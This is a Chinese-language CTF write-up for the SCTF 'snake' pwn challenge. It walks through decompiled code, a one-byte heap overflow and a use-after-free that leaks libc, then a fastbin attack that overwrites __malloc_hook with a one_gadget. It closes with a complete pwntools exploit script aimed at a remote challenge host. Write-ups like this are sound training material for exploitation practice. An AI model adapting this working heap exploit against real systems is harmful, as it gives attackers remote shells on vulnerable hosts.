今年SCTF上的一道PWN题,难度还行,关键是要大概读懂程序,找到可利用的漏洞。由于比赛环境使用的是libc2.23,我为了复现也搞了一个ubuntu16.04的虚拟机(也是libc2.23)。这样搞fastbin利用比较方便。最后在libc的小版本上还是有一点出入,不过,问题不大。
整个main函数的大致逻辑如下,一个42*62的二维数组保存整个游戏区域。依据输入的方向键改变蛇移动的方向。碰到边界后游戏结束。打印分数,并可以留言。然后就进入了喜闻乐见的菜单界面。
while ( 1 )
{
v10 = 0;
v13 = 60;//起始y坐标
v14 = 4;//起始x坐标
v11 = 0;//y方向的速度
v12 = 1;//x方向的速度
dword_603120 = 0;
memset(ptr_togame_area, 0, 0xA2CuLL);
sub_4012D7((__int64)ptr_togame_area);
while ( 1 ) // in_the_game
{
sub_40142A(&v13, &v14, &v11, &v12);
sub_400EBA((__int64)&v16, dword_603120 + 1, &v13, &v14, (__int64)ptr_togame_area);
printf("player name: %s \t score: %d\n", buf, (unsigned int)dword_603120);
v15 = sub_401560(v13, v14, (__int64)ptr_togame_area, &v11, &v12);
if ( v15 )
break;
v7 = ptr_togame_area;
if ( v7[(signed int)sub_400E87(v13 + v11, v12 + v14)] == 97 )
{
++dword_603120;
sub_4010E0();
}
else
{
sub_401375();
usleep(0x11170u);
sub_400EA4();
}
}
v15 = 0;
printf("your score is %d:\n", (unsigned int)dword_603120);
puts("please leave words:");
fflush(stdin);
v3 = (char *)ptr_togame_area;
v4 = sub_400E87(v13, v14);
read(0, &v3[v4], 77uLL);
v5 = (const char *)ptr_togame_area;
v6 = sub_400E87(v13, v14);
puts(&v5[v6]);
fflush(stdin);
puts("if you want to exit?");
v9 = getchar();
fflush(stdin);
if ( v9 == 'y' || v9 == 'Y' )
break;
while ( v10 != 4 )
{
puts("what do you want to do?");
puts("1.add name");
puts("2.delete name");
puts("3.get name");
puts("4.start name");
scanf("%d", &v10);
if ( v10 == 2 )
{
del();
}
else if ( v10 > 2 )
{
if ( v10 == 3 )
get_name();
}
else if ( v10 == 1 )
{
add_name();
}
}
}
分析一通后,发现留言长度是77,并且留言存放的地址是我们蛇死亡的位置向后。而我们如果让蛇死在右下角,坐标为(40,60),换算成一维坐标是2540,而游戏区域的chunk大小为(0xA2C//0x10+1)*0x10 = 2608
,对应着坐标为0~2607。所以之后还有2607-2540+1 = 68
个字节,再加上下一个堆块的prev_size域,我们还需要覆盖8个字节,所以77个字节可以让我们正好覆盖到下一个堆块的size域,用来伪造fake chunk0。
之后我们还可以发现游戏中用来打印玩家名字的语句printf("player name: %s \t score: %d\n", buf, (unsigned int)dword_603120);
有逻辑漏洞,这里使用的是buf指针,而这个指针在del函数里没有置0,(del函数仅仅将ptr指针数组的相应元素置0了,忽略了buf也指向该被free的区域)
结合上面两点,就能进行libc的泄露和堆块利用了。
利用一字节的溢出构造大小为0xc1的fake chunk,free后放入unsortedbin。
通过逻辑漏洞可以在下一次的游戏中泄露出main_arena-88,通过本地调试得到偏移,进而获得libc基址。
相关代码如下
sh.sendlineafter('how long?\n','72')
sh.sendlineafter('name\n','abc')
for i in range(0,36): #一直往下走,让蛇死在右下角
sh.send('\n')
payload = 'a'*76+'\xc1'
sh.sendafter('please leave words:\n',payload)
sh.sendafter('exit?\n','\n')
create(1,0x68,'a')
create(2,0x68,'a')
create(3,0x68,'a')
set(0)
dele(0)
restart()
sh.recvuntil('player name: ')
leak = u64(sh.recv(6).ljust(8,"\x00"))
success(hex(leak))
libc_addr=leak-(0x7f5755753b78-0x7f575538f000)
#这里前一个是本地调试泄露的数据,后一个是在pwndbg中使用libs命令获得的本次程序的libc基址
success(hex(libc_addr))
这里的利用思路大概有两种(也是看了各位大佬的wp总结的)。一个是打malloc_hook,一个是打free_fook。由于malloc的参数是一个size_t,我们不好直接构造system(’/bin/sh\x00‘),通常需要借助one gadget。而free得参数是一个指针,我们free一个堆块内容为’/bin/sh\x00’的堆块,很自然的,调用free_hook也就是system的时候就会调用system(’/bin/sh\x00’)。不过这题,我在本地调了半天,打free_hook总会出现奇怪的问题,只有思路完全照着大佬的wp才能成功,但搞不清楚其中几个操作为什么是必要的。所以这里还是就malloc_hook来进行介绍。
根据之前构造的fake chunk0,我们可以操控free后的chunk1(fastbins)。
将chunk1的fd改为malloc_hook-0x23(该地址可以通过chunk size检查)
然后再创建两次chunk size大小为0x70的堆块,就能分配到malloc_hook-0x23处的内存,进而可以修改malloc_hook为one gadget的地址。
(这里多个one gadget需要多试几次)
之后再手动创建一个堆块,调用malloc_hook就可以get_shell了。
#coding:utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h'] #pwndbg适配该终端,加上这句话,我们就可以在一个终端进行分屏调试,分屏的切换一类的操作还需要查看一下tmux如何使用
ip = '39.107.244.116'
port = 9999
process_name = './snake'
if args.G: #还没搞清楚是什么原理,但是用法就是在参数列表中加个G就可以进入本地调试的分支
sh = process(process_name)
addr='0x401797'
gdb.attach(sh, "b *" + addr)
elif args.NG: #本地非调试分支
sh = process(process_name)
else:
sh = remote(ip,port)
def create(idx,length,name):
sh.sendlineafter('4.start name\n','1')
sh.sendlineafter('index?\n',str(idx))
sh.sendlineafter('how long?\n',str(length))
sh.sendlineafter('name?\n',name)
def set(idx):
sh.sendlineafter('4.start name\n','3')
sh.sendlineafter('index?\n',str(idx))
def dele(idx):
sh.sendlineafter('4.start name\n','2')
sh.sendlineafter('index?\n',str(idx))
def restart():
sh.sendlineafter('4.start name\n','4')
sh.sendlineafter('how long?\n','72')
sh.sendlineafter('name\n','abc')
for i in range(0,36): #让蛇一直往下运动,在右下角死亡
sh.send('\n')
payload = 'a'*76+'\xc1' #覆盖chunk0的size域
sh.sendafter('please leave words:\n',payload)
sh.sendafter('exit?\n','\n')
create(1,0x68,'a')
create(2,0x68,'a')
create(3,0x68,'a')
set(0)
dele(0)
restart()
sh.recvuntil('player name: ')
leak = u64(sh.recv(6).ljust(8,"\x00"))
success(hex(leak))
libc_addr=leak-(0x7f5755753b78-0x7f575538f000)
success(hex(libc_addr))
pause()
sh.send('d')
sh.sendlineafter('please leave words:\n','abcd')
sh.sendlineafter('exit?\n','n')
dele(1)
malloc_hook = 0x3C4B10+libc_addr
payload = 9*p64(1)+p64(0x71)+p64(malloc_hook-0x23)
create(0,0x6f,payload) #覆盖chunk1的fd域,使得大小为0x70得fastbins可以指向malloc_hook前的某处 chunk1->malloc_hook-0x23->0
create(1,0x68,"a") #申请掉chunk1
create(4,0x68,"\x00"*0x13+p64(0x0f1147+libc_addr)) #再申请大小为0x70的堆块就会申请到我们的目标地址处,将malloc_hook处覆盖为onegadget的地址值
sh.sendlineafter('4.start name\n','1')
sh.sendlineafter('index?\n','5')
sh.sendlineafter('how long?\n','20')
sh.interactive()